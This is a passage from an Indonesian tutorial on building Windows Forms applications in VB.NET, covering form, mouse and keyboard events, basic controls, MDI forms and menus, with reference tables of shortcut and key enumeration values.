System.EventArgs) Handles MyBase.Deactivate
CatatEvent = CatatEvent & "Terjadi Deactivate" & vbCrlf
Msgbox(CatatEvent)
End Sub

Private Sub MyForm_LostFocus(sender as Object, e As


System.EventArgs) Handles MyBase.LostFocus
CatatEvent = CatatEvent & "Terjadi LostFocus" & vbCrlf
End Sub

Private Sub MyForm_Closed(sender as Object, e As System.EventArgs) Handles


MyBase.Closed
CatatEvent = CatatEvent & "Terjadi Closed" & vbCrlf
End Sub
End Class

Dimana kalau program dijalankan dan kemudian ditutup akan menampilkan kotak pesan
yang berisi urutan event yang terjadi pada form mulai dari program dijalankan sampai
ditutup.

Event pada Mouse


Event pada Mouse dibangkitkan pada saat pemakai melakukan aktifitas mouse terhadap
form. Sesuai dengan urutan kejadiaannya adalah sebagai berikut :

Event Terjadi pada saat Argumen


MouseEnter mouse pointer memasuki control EventHandle
MouseMove mouse pointer bergerak diatas control MouseEventHandle
MouseHover mouse pointer melewati control EventHandle
MouseDown penekanan button mouse diatas control MouseEventHandle
MouseWheel pergerakan wheel pada mouse diatas control yang sedang focus MouseEventHandle
Click Klik pada control EventHandle
DoubleClick Double klik pada control EventHandle
MouseUp pelepasan button mouse diatas control MouseEventHandle
MouseLeave Mouse meninggalkan control EventHandle

Dalam tata cara penulisan event procedure untuk event mouse terbagi atas dua jenis
argumen yang dikirim ke procedure, yaitu EventHandle, dan MouseEventHandle.

INDOPROG 13
Pemrograman Form pada VB.NET Hendra, S.T.

System.EventHandle
Adapun tata cara penulisan event procedure untuk event yang menggunakan EventHandle
adalahs sebagai berikut :

Private Sub NamaKontrol_NamaEvent(ByVal sender As Object, ByVal e As


System.EventArgs) Handles MyBase.NamaEvent

Contoh :

Option Explicit On
Imports System
Imports Microsoft.VisualBasic

Public Class MyForm


Inherits System.Windows.Forms.Form

<System.STAThread()> _
Public Shared Sub Main()
System.Windows.Forms.Application.EnableVisualStyles()
System.Windows.Forms.Application.Run(New MyForm)
End Sub

Public Sub New() 'Constructor


Me.Text = "Dengan pendekatan OOP" End Sub

Private Sub MyForm_MouseEnter(sender as Object, e As


System.EventArgs) Handles MyBase.MouseEnter
Msgbox("Terjadi Event MouseEnter")
End Sub

End Class

System.Windows.Forms.Form.MouseEventHandle
Adapun tata cara penulisan event procedure untuk event yang menggunakan
MouseEventHandle adalah sebagai berikut :
Private Sub NamaKontrol_NamaEvent(ByVal sender As Object, ByVal e As
System.Windows.Forms.MouseEventArgs) Handles MyBase.NamaEvent

Informasi yang dapat diperoleh dari MouseEventHandle :

Property Description
Button Mendapatkan tombol mouse yang ditekan (None, Left, Middle, Right, Xbutton1, Xbutton2)
Clicks Mendapatkan jumlah klik
Delta Mendapatkan jumlah rotasi roda mouse
X Mendapatkan koordinat X mouse
Y Mendapatkan koordinat Y mouse

Contoh :

INDOPROG 14
Pemrograman Form pada VB.NET Hendra, S.T.

Option Explicit On
Imports System
Imports Microsoft.VisualBasic

Public Class MyForm


Inherits System.Windows.Forms.Form

<System.STAThread()> _
Public Shared Sub Main()
System.Windows.Forms.Application.EnableVisualStyles()
System.Windows.Forms.Application.Run(New MyForm)
End Sub

Public Sub New() 'Constructor


Me.Text = "Dengan pendekatan OOP" End Sub

Private Sub MyForm_MouseDown(sender as Object, e As


System.Windows.Forms.MouseEventArgs) Handles MyBase.MouseDown
Msgbox("Terjadi Event MouseDown pada " & e.x.tostring() & ","
&e.y.tostring())
End Sub

End Class

Kalau kita menekan button mouse diatas MyForm, maka msgbox berikut akan
ditampilkan.

Event pada Keyboard

Event pada keyboard terjadi pada saat pemakaian melakukan aksi penekanan tombol
terhadap form, dan urutan event keyboard adalah sebagai berikut :

Event Terjadi pada saat Argumen


KeyDown Tombol ditekan ke bawah KeyEventHandle
KeyPressed Tombol ditekan KeyPressEventHandle
KeyUp Tombol dilepas KeyEventHandle

System.Windows.Forms.KeyEventHandle
Adapun tata cara penulisan event procedure untuk event yang menggunakan
KeyEventHandle adalah sebagai berikut :

Private Sub NamaKontrol_NamaEvent(ByVal sender As Object, ByVal e As


System.Windows.Forms.KeyEventArgs) Handles MyBase.NamaEvent

INDOPROG 15
Pemrograman Form pada VB.NET Hendra, S.T.

Informasi yang dapat diperoleh dari KeyEventArgs

Property Description
Alt Mendapatkan apakah tombol ALT ada ditekan atau tidak
Control Mendapatkan apakah tombol CTRL ada ditekan atau tidak
Handled Mendapatkan apakah event telah terhandle
KeyCode Mendapatkan key code
KeyData Mendapatkan key data
KeyValue Mendapatkan keybiard value
Modifiers Medapatkan flag modifier apakah event mouse disertai dengan kombinasi tombol (CTRL,
SHIFT, and ALT)
Shift Mendapatkan apakah tombol shift ditekan

Contoh :

Option Explicit On
Imports System
Imports Microsoft.VisualBasic

Public Class MyForm


Inherits System.Windows.Forms.Form

<System.STAThread()> _
Public Shared Sub Main()
System.Windows.Forms.Application.Run(New MyForm) End
Sub

Public Sub New() 'Constructor


Me.Text = "Dengan pendekatan OOP" End Sub

Private Sub MyForm_KeyDown(sender as Object, e As


System.Windows.Forms.KeyEventArgs) Handles MyBase.KeyDown
Msgbox("Nilai Alt " & e.Alt & vbCrLf & _
"Nilai Control " & e.Control & vbCrLf & _
"Nilai Handle " & e.Handled & vbCrLf & _
"Nilai KeyCode " & e.KeyCode & vbCrLf & _
"Nilai KeyValue " & e.KeyValue & vbCrLf & _
"Nilai Modifiers " & e.Modifiers & vbCrLf & _ "Nilai
Shift " & e.Shift)
End Sub

End Class

Yang kalau kita tekan spasi akan menghasilkan msgbox berikut :

INDOPROG 16
Pemrograman Form pada VB.NET Hendra, S.T.

System.Windows.Forms.KeyPressEventHandle
Adapun tata cara penulisan event procedure untuk event yang menggunakan
KeyPressEventHandle adalah sebagai berikut :

Private Sub NamaKontrol_NamaEvent(ByVal sender As Object, ByVal e As


System.Windows.Forms.KeyPressEventArgs) Handles MyBase.NamaEvent

Informasi yang dapat diperoleh dari KeyEventArgs

Property Description
Handled Mendapatkan apakah event telah dihandle
KeyChar Mendapatkan karakter yang ditekan

Option Explicit On
Imports System
Imports Microsoft.VisualBasic

Public Class MyForm


Inherits System.Windows.Forms.Form

<System.STAThread()> _
Public Shared Sub Main()
System.Windows.Forms.Application.Run(New MyForm) End
Sub

Public Sub New() 'Constructor


Me.Text = "Dengan pendekatan OOP" End Sub

Private Sub MyForm_KeyPress(sender as Object, e As


System.Windows.Forms.KeyPressEventArgs) Handles MyBase.KeyPress
Msgbox("Nilai Handle " & e.Handled & vbCrLf & _
"Nilai KeyChar " & e.KeyChar & vbCrLf)
End Sub

End Class

INDOPROG 17
Pemrograman Form pada VB.NET Hendra, S.T.

INDOPROG 18
Pemrograman Form pada VB.NET Hendra, S.T.

Menempatkan kontrol diatas form


Membuat Label
Berikut ini adalah koding untuk menempatkan sebuah label diatas form

Option Explicit On
Imports System
Imports Microsoft.VisualBasic

Public Class MyForm


Inherits System.Windows.Forms.Form

Dim CatatEvent As String

<System.STAThread()> _
Public Shared Sub Main()
System.Windows.Forms.Application.Run(New MyForm) End
Sub

Dim MyLabel As New System.Windows.Forms.Label 'Deklarasi

Public Sub New() 'Constructor


Me.Text = "Membuat kontrol pada Form"
MyLabel.Text = "Ini adalah Label"
MyLabel.Location = New System.Drawing.Point(100,100) 'Lokasi
Me.Controls.Add(MyLabel)
End Sub

End Class

Membuat Textbox
Berikut ini adalah koding untuk menempatkan sebuah textbox diatas form

INDOPROG 19
Pemrograman Form pada VB.NET Hendra, S.T.

Option Explicit On
Imports System
Imports Microsoft.VisualBasic

Public Class MyForm


Inherits System.Windows.Forms.Form

Dim CatatEvent As String

<System.STAThread()> _
Public Shared Sub Main()
System.Windows.Forms.Application.Run(New MyForm) End
Sub

Dim MyText As New System.Windows.Forms.Textbox 'Deklarasi

Public Sub New() 'Constructor


Me.Text = "Membuat kontrol pada Form"
MyText.Text = "Ini adalah Textbox"
MyText.Location = New System.Drawing.Point(100,100) 'Lokasi
MyText.Size = New System.Drawing.Size(140,250) 'Ukuran
Me.Controls.Add(MyText)
End Sub

End Class

Validasi pada textbox

Untuk melakukan validasi terhadap input yang dilakukan oleh pemakai pada textbox kita
dapat menggunakan event validating.

INDOPROG 20
Pemrograman Form pada VB.NET Hendra, S.T.

Untuk menggunakan event pada kontrol, kita perlu mendeklarasikan variabel kontrol
beserta WithEvents.

Private Sub NamaTextBox_Validating(ByVal sender As Object, ByVal e As


System.ComponentModel.CancelEventArgs) Handles NamaTextbox.Validating

Contoh :

Option Explicit On
Imports System
Imports Microsoft.VisualBasic

Public Class MyForm


Inherits System.Windows.Forms.Form

Dim CatatEvent As String

<System.STAThread()> _
Public Shared Sub Main()
System.Windows.Forms.Application.EnableVisualStyles()
System.Windows.Forms.Application.Run(New MyForm)
End Sub

Dim WithEvents MyText As New System.Windows.Forms.Textbox

Public Sub New() 'Constructor


Me.Text = "Membuat kontrol pada Form"
MyText.Text = "Ini adalah Textbox"
MyText.Location = New System.Drawing.Point(100,100)
MyText.Size = New System.Drawing.Size(140,250)
Me.Controls.Add(MyText)
End Sub

Private Sub MyText_Validating(ByVal sender As Object, ByVal e As


System.ComponentModel.CancelEventArgs) Handles MyText.Validating
Msgbox("Panjang Text : " & MyText.Text.Length())
End Sub
End Class

Membuat button

Option Explicit On
Imports System
Imports Microsoft.VisualBasic

Public Class MyForm


Inherits System.Windows.Forms.Form

Dim CatatEvent As String

<System.STAThread()> _
Public Shared Sub Main()
System.Windows.Forms.Application.Run(New MyForm) End
Sub

INDOPROG 21
Pemrograman Form pada VB.NET Hendra, S.T.

Dim MyButton As New System.Windows.Forms.Button 'Deklarasi

Public Sub New() 'Constructor


Me.Text = "Membuat kontrol pada Form"
MyButton.Text = "Ini adalah Button"
MyButton.Location = New System.Drawing.Point(100,100)
MyButton.Size = New System.Drawing.Size(120,25)
Me.Controls.Add(MyButton)
End Sub

End Class

Event Click pada button


Pemakaian button umumnya adalah untuk proses klik oleh mouse, event procedure untuk
Click penulisannya adalah sebagai berikut :

Private Sub NamaButton_Click(ByVal sender As System.Object, ByVal e As


System.EventArgs) Handles NamaButton.Click

Contoh :
Option Explicit On
Imports System
Imports Microsoft.VisualBasic

Public Class MyForm


Inherits System.Windows.Forms.Form

Dim CatatEvent As String

<System.STAThread()> _
Public Shared Sub Main()
System.Windows.Forms.Application.EnableVisualStyles()

INDOPROG 22
Pemrograman Form pada VB.NET Hendra, S.T.

System.Windows.Forms.Application.Run(New MyForm) End


Sub

Dim WithEvents MyButton As New System.Windows.Forms.Button

Public Sub New() 'Constructor


Me.Text = "Membuat kontrol pada Form"
MyButton.Text = "Ini adalah Button"
MyButton.Location = New System.Drawing.Point(100,100)
Me.Controls.Add(MyButton)
End Sub

Private Sub MyButton_Click(ByVal sender As System.Object, ByVal e As


System.EventArgs) Handles MyButton.Click
Msgbox("Terjadi event button click")
End Sub

End Class

Yang kalau dijalankan, dan dilakukan klik pada button akan menampilkan pesan sebagai
berikut :

Latihan :
Buatlah program Windows Form untuk menghitung luas persegi panjang !

INDOPROG 23
Pemrograman Form pada VB.NET Hendra, S.T.

Membuat Aplikasi MDI Form


MDI Form
Untuk membuat MDI Form tidak jauh berbeda dengan pembuatan form biasanya, yang
perlu anda lakukan adalah dengan menset property IsMDIContainer menjadi True,
Contoh :
Option Explicit On
Imports System
Imports System.Windows.Forms
Imports Microsoft.VisualBasic

Public Class MyMDI


Inherits Form

<System.STAThread()> _
Public Shared Sub Main()
Application.Run(New MyMDI)
End Sub

Public Sub New() 'Constructor


Me.Text = "Membuat MDI Form"
Me.IsMDIContainer = True
End Sub

End Class

MDI Child

Pada dasarnya form MDI Child adalah sama dengan form biasanya, yang kemudian akan
ditamplkan oleh MDI Form.

Public Class MyForm


Inherits Form

Public Sub New()


Me.Text = "MDI Child"
End Sub

End Class

Menampilkan MDI Child

Untuk menampilkan MDI Child pada MDI Form kita, adalah dengan :

1. Membuat instance dari Form yang akan dijadikan MDI Child

INDOPROG 24
Pemrograman Form pada VB.NET Hendra, S.T.

2. Kemudian kita set property MDIParent ke Form MDI


3. Menampilkan Form MDI Child dengan metoda Show()

Contoh :

Option Explicit On
Imports System
Imports System.Windows.Forms
Imports Microsoft.VisualBasic

Public Class MyMDI


Inherits Form

<System.STAThread()> _
Public Shared Sub Main()
Application.Run(New MyMDI)
End Sub

Public Sub New() 'Constructor


Me.Text = "Membuat MDI Form"
Me.IsMDIContainer = True
Dim MyChild As new MyForm 'Instance dari myform
MyChild.MdiParent = Me 'set MDIParent
MyChild.Show() 'tampilkan MDI Child
End Sub

End Class

Public Class MyForm


Inherits Form

Public Sub New()


Me.Text = "MDI Child"
End Sub

End Class

Pengaturan MDI Child pada MDI Form

Pengaturan susunan MDI Child pada MDI Form dapat dilakukan dengan menggunakan
metoda LayoutMDI(MDI layout).

Member name Description


ArrangeIcons All MDI child icons are arranged within the client region of the MDI parent form.
Cascade All MDI child windows are cascaded within the client region of the MDI parent form.
TileHorizontal All MDI child windows are tiled horizontally within the client region of the MDI
parent form.
TileVertical All MDI child windows are tiled vertically within the client region of the MDI parent
form.

Contoh :

INDOPROG 25
Pemrograman Form pada VB.NET Hendra, S.T.

Me.LayoutMDI(System.Windows.Forms.MDILayout.Cascade)

INDOPROG 26
Pemrograman Form pada VB.NET Hendra, S.T.

Membuat Menu
Untuk membuat menu pada form, anda dapat menggunakan langkah-langkah berikut ini :

1. Membuat instance dari komponen MainMenu, dan set sebagai menu untuk form
2. Membuat MenuItem untuk MainMenu, dan tambahkan pada collection object dari
MainMenu
3. Membuat SubMenuItem untuk MenuItem, dan tambahkan pada collection
masing-masing object MenuItem.

Contoh :

Option Explicit On
Imports System
Imports System.Windows.Forms
Imports Microsoft.VisualBasic

Public Class MyMDI


Inherits Form

<System.STAThread()> _
Public Shared Sub Main()
Application.Run(New MyMDI)
End Sub

Public Sub New() 'Constructor


Me.Text = "Membuat MDI Form"
Me.IsMDIContainer = True
AddMenu()
End Sub

Private Sub AddMenu()


'Membuat instance dari MainMenu dan set sebagai menu form Dim mnuUtama
As new MainMenu()
Me.Menu = mnuUtama

'membuat menuitem
Dim mnuFile As new MenuItem("&File")
Dim mnuWindow As new MenuItem("&Window")

mnuUtama.MenuItems.Add(mnuFile) 'Tambahkan ke collection


mnuUtama.MenuItems.Add(mnuWindow)

'membuat submenuitem untuk sub menu File

Dim mnuFileNew As new MenuItem("&New")


Dim mnuFileClose As new MenuItem("&Close")
Dim mnuFileExit As new MenuItem("&Exit")

mnuFile.MenuItems.Add(mnuFileNew) 'Tambahkan ke collection


mnuFile.MenuItems.Add(mnuFileClose)

INDOPROG 27
Pemrograman Form pada VB.NET Hendra, S.T.

mnuFile.MenuItems.Add(mnuFileExit)

End Sub

End Class

Public Class MyForm


Inherits Form

Public Sub New()


Me.Text = "MDI Child"
End Sub

End Class

Dan hasil eksekusinya adalah sebagai berikut :

Men-disable menuitem

Untuk mendisable menuitem, kita dapat menggunakan property Enabled pada menuitem
yang akan diatur keaktifannya.

Contoh :

mnuFileClose.Enabled = False

atau

Me.Menu.MenuItems(0).MenuItems(2).Enabled = False

INDOPROG 28
Pemrograman Form pada VB.NET Hendra, S.T.

Menyembunyikan menuitem

Untuk menyembunyikan menuitem, kita dapat menggunakan property Visible pada


menuitem yang akan diatur kemunculannya.

Contoh :

mnuFileClose.Visible = False

INDOPROG 29
Pemrograman Form pada VB.NET Hendra, S.T.

Membuat garis pembatas pada menuitem

Untuk menbuat garis pembatas dan dapat membuat tanda - sebagai text untuk menu.

Contoh :

'membuat submenuitem untuk sub menu File

Dim mnuFileNew As new MenuItem("&New")


Dim mnuFileClose As new MenuItem("&Close")
Dim mnuGaris11 As new MenuItem("-")
Dim mnuFileExit As new MenuItem("&Exit")

mnuFile.MenuItems.Add(mnuFileNew) 'Tambahkan ke collection


mnuFile.MenuItems.Add(mnuFileClose)
mnuFile.MenuItems.Add(mnuGaris11)
mnuFile.MenuItems.Add(mnuFileExit)

Membuat tanda check pada menuitem

Untuk menbuat tanda check pada menuitem dapat dilakukan dengan property Checked.

Contoh :

mnuFileNew.Checked = True

INDOPROG 30
Pemrograman Form pada VB.NET Hendra, S.T.

Menambah shortcut key pada menuitem

Untuk menbuat tanda check pada menuitem dapat dilakukan dengan property Shortcut.

Contoh :

mnuFileNew.Shortcut = System.Windows.Forms.Shortcut.F2

INDOPROG 31
Pemrograman Form pada VB.NET Hendra, S.T.

Enumeration pada Shortcut

Member name Description


Alt0 The shortcut keys ALT+0.
Alt1 The shortcut keys ALT+1.
Alt2 The shortcut keys ALT+2.
Alt3 The shortcut keys ALT+3.
Alt4 The shortcut keys ALT+4.
Alt5 The shortcut keys ALT+5.
Alt6 The shortcut keys ALT+6.
Alt7 The shortcut keys ALT+7.
Alt8 The shortcut keys ALT+8.
Alt9 The shortcut keys ALT+9.
AltBksp The shortcut keys ALT+BACKSPACE.
AltF1 The shortcut keys ALT+F1.
AltF10 The shortcut keys ALT+F10.
AltF11 The shortcut keys ALT+F11.
AltF12 The shortcut keys ALT+F12.
AltF2 The shortcut keys ALT+F2.
AltF3 The shortcut keys ALT+F3.
AltF4 The shortcut keys ALT+F4.
AltF5 The shortcut keys ALT+F5.
AltF6 The shortcut keys ALT+F6.
AltF7 The shortcut keys ALT+F7.
AltF8 The shortcut keys ALT+F8.
AltF9 The shortcut keys ALT+F9.
Ctrl0 The shortcut keys CTRL+0.
Ctrl1 The shortcut keys CTRL+1.
Ctrl2 The shortcut keys CTRL+2.
Ctrl3 The shortcut keys CTRL+3.
Ctrl4 The shortcut keys CTRL+4.
Ctrl5 The shortcut keys CTRL+5.
Ctrl6 The shortcut keys CTRL+6.
Ctrl7 The shortcut keys CTRL+7.
Ctrl8 The shortcut keys CTRL+8.
Ctrl9 The shortcut keys CTRL+9.
CtrlA The shortcut keys CTRL+A.
CtrlB The shortcut keys CTRL+B.
CtrlC The shortcut keys CTRL+C.
CtrlD The shortcut keys CTRL+D.
CtrlDel The shortcut keys CTRL+DELETE.
CtrlE The shortcut keys CTRL+E.
CtrlF The shortcut keys CTRL+F.
CtrlF1 The shortcut keys CTRL+F1.
CtrlF10 The shortcut keys CTRL+F10.
CtrlF11 The shortcut keys CTRL+F11.
CtrlF12 The shortcut keys CTRL+F12.
CtrlF2 The shortcut keys CTRL+F2.
CtrlF3 The shortcut keys CTRL+F3.
CtrlF4 The shortcut keys CTRL+F4.
CtrlF5 The shortcut keys CTRL+F5.
CtrlF6 The shortcut keys CTRL+F6.

INDOPROG 32
Pemrograman Form pada VB.NET Hendra, S.T.

CtrlF7 The shortcut keys CTRL+F7.


CtrlF8 The shortcut keys CTRL+F8.
CtrlF9 The shortcut keys CTRL+F9.
CtrlG The shortcut keys CTRL+G.
CtrlH The shortcut keys CTRL+H.
CtrlI The shortcut keys CTRL+I.
CtrlIns The shortcut keys CTRL+INSERT.
CtrlJ The shortcut keys CTRL+J.
CtrlK The shortcut keys CTRL+K.
CtrlL The shortcut keys CTRL+L.
CtrlM The shortcut keys CTRL+M.
CtrlN The shortcut keys CTRL+N.
CtrlO The shortcut keys CTRL+O.
CtrlP The shortcut keys CTRL+P.
CtrlQ The shortcut keys CTRL+Q.
CtrlR The shortcut keys CTRL+R.
CtrlS The shortcut keys CTRL+S.
CtrlShift0 The shortcut keys CTRL+SHIFT+0.
CtrlShift1 The shortcut keys CTRL+SHIFT+1.
CtrlShift2 The shortcut keys CTRL+SHIFT+2.
CtrlShift3 The shortcut keys CTRL+SHIFT+3.
CtrlShift4 The shortcut keys CTRL+SHIFT+4.
CtrlShift5 The shortcut keys CTRL+SHIFT+5.
CtrlShift6 The shortcut keys CTRL+SHIFT+6.
CtrlShift7 The shortcut keys CTRL+SHIFT+7.
CtrlShift8 The shortcut keys CTRL+SHIFT+8.
CtrlShift9 The shortcut keys CTRL+SHIFT+9.
CtrlShiftA The shortcut keys CTRL+SHIFT+A.
CtrlShiftB The shortcut keys CTRL+SHIFT+B.
CtrlShiftC The shortcut keys CTRL+SHIFT+C.
CtrlShiftD The shortcut keys CTRL+SHIFT+D.
CtrlShiftE The shortcut keys CTRL+SHIFT+E.
CtrlShiftF The shortcut keys CTRL+SHIFT+F.
CtrlShiftF1 The shortcut keys CTRL+SHIFT+F1.
CtrlShiftF10 The shortcut keys CTRL+SHIFT+F10.
CtrlShiftF11 The shortcut keys CTRL+SHIFT+F11.
CtrlShiftF12 The shortcut keys CTRL+SHIFT+F12.
CtrlShiftF2 The shortcut keys CTRL+SHIFT+F2.
CtrlShiftF3 The shortcut keys CTRL+SHIFT+F3.
CtrlShiftF4 The shortcut keys CTRL+SHIFT+F4.
CtrlShiftF5 The shortcut keys CTRL+SHIFT+F5.
CtrlShiftF6 The shortcut keys CTRL+SHIFT+F6.
CtrlShiftF7 The shortcut keys CTRL+SHIFT+F7.
CtrlShiftF8 The shortcut keys CTRL+SHIFT+F8.
CtrlShiftF9 The shortcut keys CTRL+SHIFT+F9.
CtrlShiftG The shortcut keys CTRL+SHIFT+G.
CtrlShiftH The shortcut keys CTRL+SHIFT+H.
CtrlShiftI The shortcut keys CTRL+SHIFT+I.
CtrlShiftJ The shortcut keys CTRL+SHIFT+J.
CtrlShiftK The shortcut keys CTRL+SHIFT+K.
CtrlShiftL The shortcut keys CTRL+SHIFT+L.
CtrlShiftM The shortcut keys CTRL+SHIFT+M.

INDOPROG 33
Pemrograman Form pada VB.NET Hendra, S.T.

CtrlShiftN The shortcut keys CTRL+SHIFT+N.


CtrlShiftO The shortcut keys CTRL+SHIFT+O.
CtrlShiftP The shortcut keys CTRL+SHIFT+P.
CtrlShiftQ The shortcut keys CTRL+SHIFT+Q.
CtrlShiftR The shortcut keys CTRL+SHIFT+R.
CtrlShiftS The shortcut keys CTRL+SHIFT+S.
CtrlShiftT The shortcut keys CTRL+SHIFT+T.
CtrlShiftU The shortcut keys CTRL+SHIFT+U.
CtrlShiftV The shortcut keys CTRL+SHIFT+V.
CtrlShiftW The shortcut keys CTRL+SHIFT+W.
CtrlShiftX The shortcut keys CTRL+SHIFT+X.
CtrlShiftY The shortcut keys CTRL+SHIFT+Y.
CtrlShiftZ The shortcut keys CTRL+SHIFT+Z.
CtrlT The shortcut keys CTRL+T.
CtrlU The shortcut keys CTRL+U
CtrlV The shortcut keys CTRL+V.
CtrlW The shortcut keys CTRL+W.
CtrlX The shortcut keys CTRL+X.
CtrlY The shortcut keys CTRL+Y.
CtrlZ The shortcut keys CTRL+Z.
Del The shortcut key DELETE.
F1 The shortcut key F1.
F10 The shortcut key F10.
F11 The shortcut key F11.
F12 The shortcut key F12.
F2 The shortcut key F2.
F3 The shortcut key F3.
F4 The shortcut key F4.
F5 The shortcut key F5.
F6 The shortcut key F6.
F7 The shortcut key F7.
F8 The shortcut key F8.
F9 The shortcut key F9.
Ins The shortcut key INSERT.
None No shortcut key is associated with the menu item.
ShiftDel The shortcut keys SHIFT+DELETE.
ShiftF1 The shortcut keys SHIFT+F1.
ShiftF10 The shortcut keys SHIFT+F10.
ShiftF11 The shortcut keys SHIFT+F11.
ShiftF12 The shortcut keys SHIFT+F12.
ShiftF2 The shortcut keys SHIFT+F2.
ShiftF3 The shortcut keys SHIFT+F3.
ShiftF4 The shortcut keys SHIFT+F4.
ShiftF5 The shortcut keys SHIFT+F5.
ShiftF6 The shortcut keys SHIFT+F6.
ShiftF7 The shortcut keys SHIFT+F7.
ShiftF8 The shortcut keys SHIFT+F8.
ShiftF9 The shortcut keys SHIFT+F9.
ShiftIns The shortcut keys SHIFT+INSERT.

INDOPROG 34
Pemrograman Form pada VB.NET Hendra, S.T.

Lampiran

Kontrol pada System.Windows.Forms


Berikut ini adalah daftar control yang dapat ditempatkan diatas form menurut fungsinya :

Function Control Description


Text edit TextBox Displays text entered at design time that can be
edited by users at run time, or changed
programmatically.
RichTextBox Enables text to be displayed with formatting in
plain text or rich-text format (RTF).
Text display (read-only) Label Displays text that users cannot directly edit.
LinkLabel Displays text as a Web-style link and triggers an
event when the user clicks the special text.
Usually the text is a link to another window or a
Web site.
StatusBar Displays information about the application's
current state using a framed window, usually at
the bottom of a parent form.
Selection from a list CheckedListBox Displays a scrollable list of items, each
accompanied by a check box.
ComboBox Displays a drop-down list of items.
DomainUpDown Displays a list of text items that users can scroll
through with up and down buttons.
ListBox Displays a list of text and graphical items (icons).
ListView Displays items in one of four different views. Views
include text only, text with small icons, text with
large icons, and a details view.
NumericUpDown Displays a list of numerals that users can scroll
through with up and down buttons.
TreeView Displays a hierarchical collection of node objects
that can consist of text with optional check boxes
or icons.
Graphics display PictureBox Displays graphical files, such as bitmaps and
icons, in a frame.
Graphics storage ImageList Serves as a repository for images. ImageList
controls and the images they contain can be
reused from one application to the next.
Value setting CheckBox Displays a check box and a label for text.
Generally used to set options.
CheckedListBox Displays a scrollable list of items, each
accompanied by a check box.
RadioButton Displays a button that can be turned on or off.
Trackbar Allows users to set values on a scale by moving a
"thumb" along a scale.
Date setting DateTimePicker Displays a graphical calendar to allow users to
select a date or a time.
MonthCalendar Displays a graphical calendar to allow users to
select a range of dates.
Dialog boxes ColorDialog Displays the color picker dialog box that allows
users to set the color of an interface element.
FontDialog Displays a dialog box that allows users to set a
font and its attributes.
OpenFileDialog Displays a dialog box that allows users to navigate to
and select a file.

INDOPROG 35
Pemrograman Form pada VB.NET Hendra, S.T.

PrintDialog Displays a dialog box that allows users to select a


printer and set its attributes.
PrintPreviewDialog Displays a dialog box that displays how a
PrintDocument object will appear when printed.
SaveFileDialog Displays a dialog box that allows users to save a
file.
Menu controls MainMenu Provides a design-time interface for creating
menus.
ContextMenu Implements a menu that appears when the user
right-clicks an object.
Commands Button Used to start, stop, or interrupt a process.
LinkLabel Displays text as a Web-style link and triggers an
event when the user clicks the special text.
Usually the text is a link to another window or a
Web site.
NotifyIcon Displays an icon in the status notification area of the
taskbar that represents an application running in the
background.
ToolBar Contains a collection of button controls.
Grouping other controls Panel Groups a set of controls on an unlabeled,
scrollable frame.
GroupBox Groups a set of controls (such as radio buttons) on a
labeled, nonscrollable frame.
TabControl Provides a tabbed page for organizing and
accessing grouped objects efficiently.

INDOPROG 36
Pemrograman Form pada VB.NET Hendra, S.T.

Keys Enumeration
Members
Member name Description Value
A The A key. 65

Supported by the .NET Compact


Framework.
Add The add key. 107

Supported by the .NET Compact


Framework.
Alt The ALT modifier key. 262144

Supported by the .NET Compact


Framework.
Apps The application key (Microsoft Natural Keyboard). 93

Supported by the .NET Compact


Framework.
Attn The ATTN key. 246

Supported by the .NET Compact


Framework.
B The B key. 66

Supported by the .NET Compact


Framework.
Back The BACKSPACE key. 8

Supported by the .NET Compact


Framework.
BrowserBack The browser back key (Windows 2000 or later). 166
BrowserFavorites The browser favorites key (Windows 2000 or later). 171
BrowserForward The browser forward key (Windows 2000 or later). 167
BrowserHome The browser home key (Windows 2000 or later). 172
BrowserRefresh The browser refresh key (Windows 2000 or later). 168
BrowserSearch The browser search key (Windows 2000 or later). 170
BrowserStop The browser stop key (Windows 2000 or later). 169
C The C key. 67

Supported by the .NET Compact


Framework.
Cancel The CANCEL key. 3

Supported by the .NET Compact


Framework.
Capital The CAPS LOCK key. 20

Supported by the .NET Compact


Framework.
CapsLock The CAPS LOCK key. 20

INDOPROG 37
Pemrograman Form pada VB.NET Hendra, S.T.

Supported by the .NET Compact


Framework.
Clear The CLEAR key. 12

Supported by the .NET Compact


Framework.
Control The CTRL modifier key. 131072

Supported by the .NET Compact


Framework.
ControlKey The CTRL key. 17

Supported by the .NET Compact


Framework.
Crsel The CRSEL key. 247

Supported by the .NET Compact


Framework.
D The D key. 68

Supported by the .NET Compact


Framework.
D0 The 0 key. 48

Supported by the .NET Compact


Framework.
D1 The 1 key. 49

Supported by the .NET Compact


Framework.
D2 The 2 key. 50

Supported by the .NET Compact


Framework.
D3 The 3 key. 51

Supported by the .NET Compact


Framework.
D4 The 4 key. 52

Supported by the .NET Compact


Framework.
D5 The 5 key. 53

Supported by the .NET Compact


Framework.
D6 The 6 key. 54

Supported by the .NET Compact


Framework.
D7 The 7 key. 55

Supported by the .NET Compact


Framework.
D8 The 8 key. 56

INDOPROG 38
Pemrograman Form pada VB.NET Hendra, S.T.

Supported by the .NET Compact


Framework.
D9 The 9 key. 57

Supported by the .NET Compact


Framework.
Decimal The decimal key. 110

Supported by the .NET Compact


Framework.
Delete The DEL key. 46

Supported by the .NET Compact


Framework.
Divide The divide key. 111

Supported by the .NET Compact


Framework.
Down The DOWN ARROW key. 40

Supported by the .NET Compact


Framework.
E The E key. 69

Supported by the .NET Compact


Framework.
End The END key. 35

Supported by the .NET Compact


Framework.
Enter The ENTER key. 13

Supported by the .NET Compact


Framework.
EraseEof The ERASE EOF key. 249

Supported by the .NET Compact


Framework.
Escape The ESC key. 27

Supported by the .NET Compact


Framework.
Execute The EXECUTE key. 43

Supported by the .NET Compact


Framework.
Exsel The EXSEL key. 248

Supported by the .NET Compact


Framework.
F The F key. 70

Supported by the .NET Compact


Framework.
F1 The F1 key. 112

INDOPROG 39
Pemrograman Form pada VB.NET Hendra, S.T.

Supported by the .NET Compact


Framework.
F10 The F10 key. 121

Supported by the .NET Compact


Framework.
F11 The F11 key. 122

Supported by the .NET Compact


Framework.
F12 The F12 key. 123

Supported by the .NET Compact


Framework.
F13 The F13 key. 124

Supported by the .NET Compact


Framework.
F14 The F14 key. 125

Supported by the .NET Compact


Framework.
F15 The F15 key. 126

Supported by the .NET Compact


Framework.
F16 The F16 key. 127

Supported by the .NET Compact


Framework.
F17 The F17 key. 128

Supported by the .NET Compact


Framework.
F18 The F18 key. 129

Supported by the .NET Compact


Framework.
F19 The F19 key. 130

Supported by the .NET Compact


Framework.
F2 The F2 key. 113

Supported by the .NET Compact


Framework.
F20 The F20 key. 131

Supported by the .NET Compact


Framework.
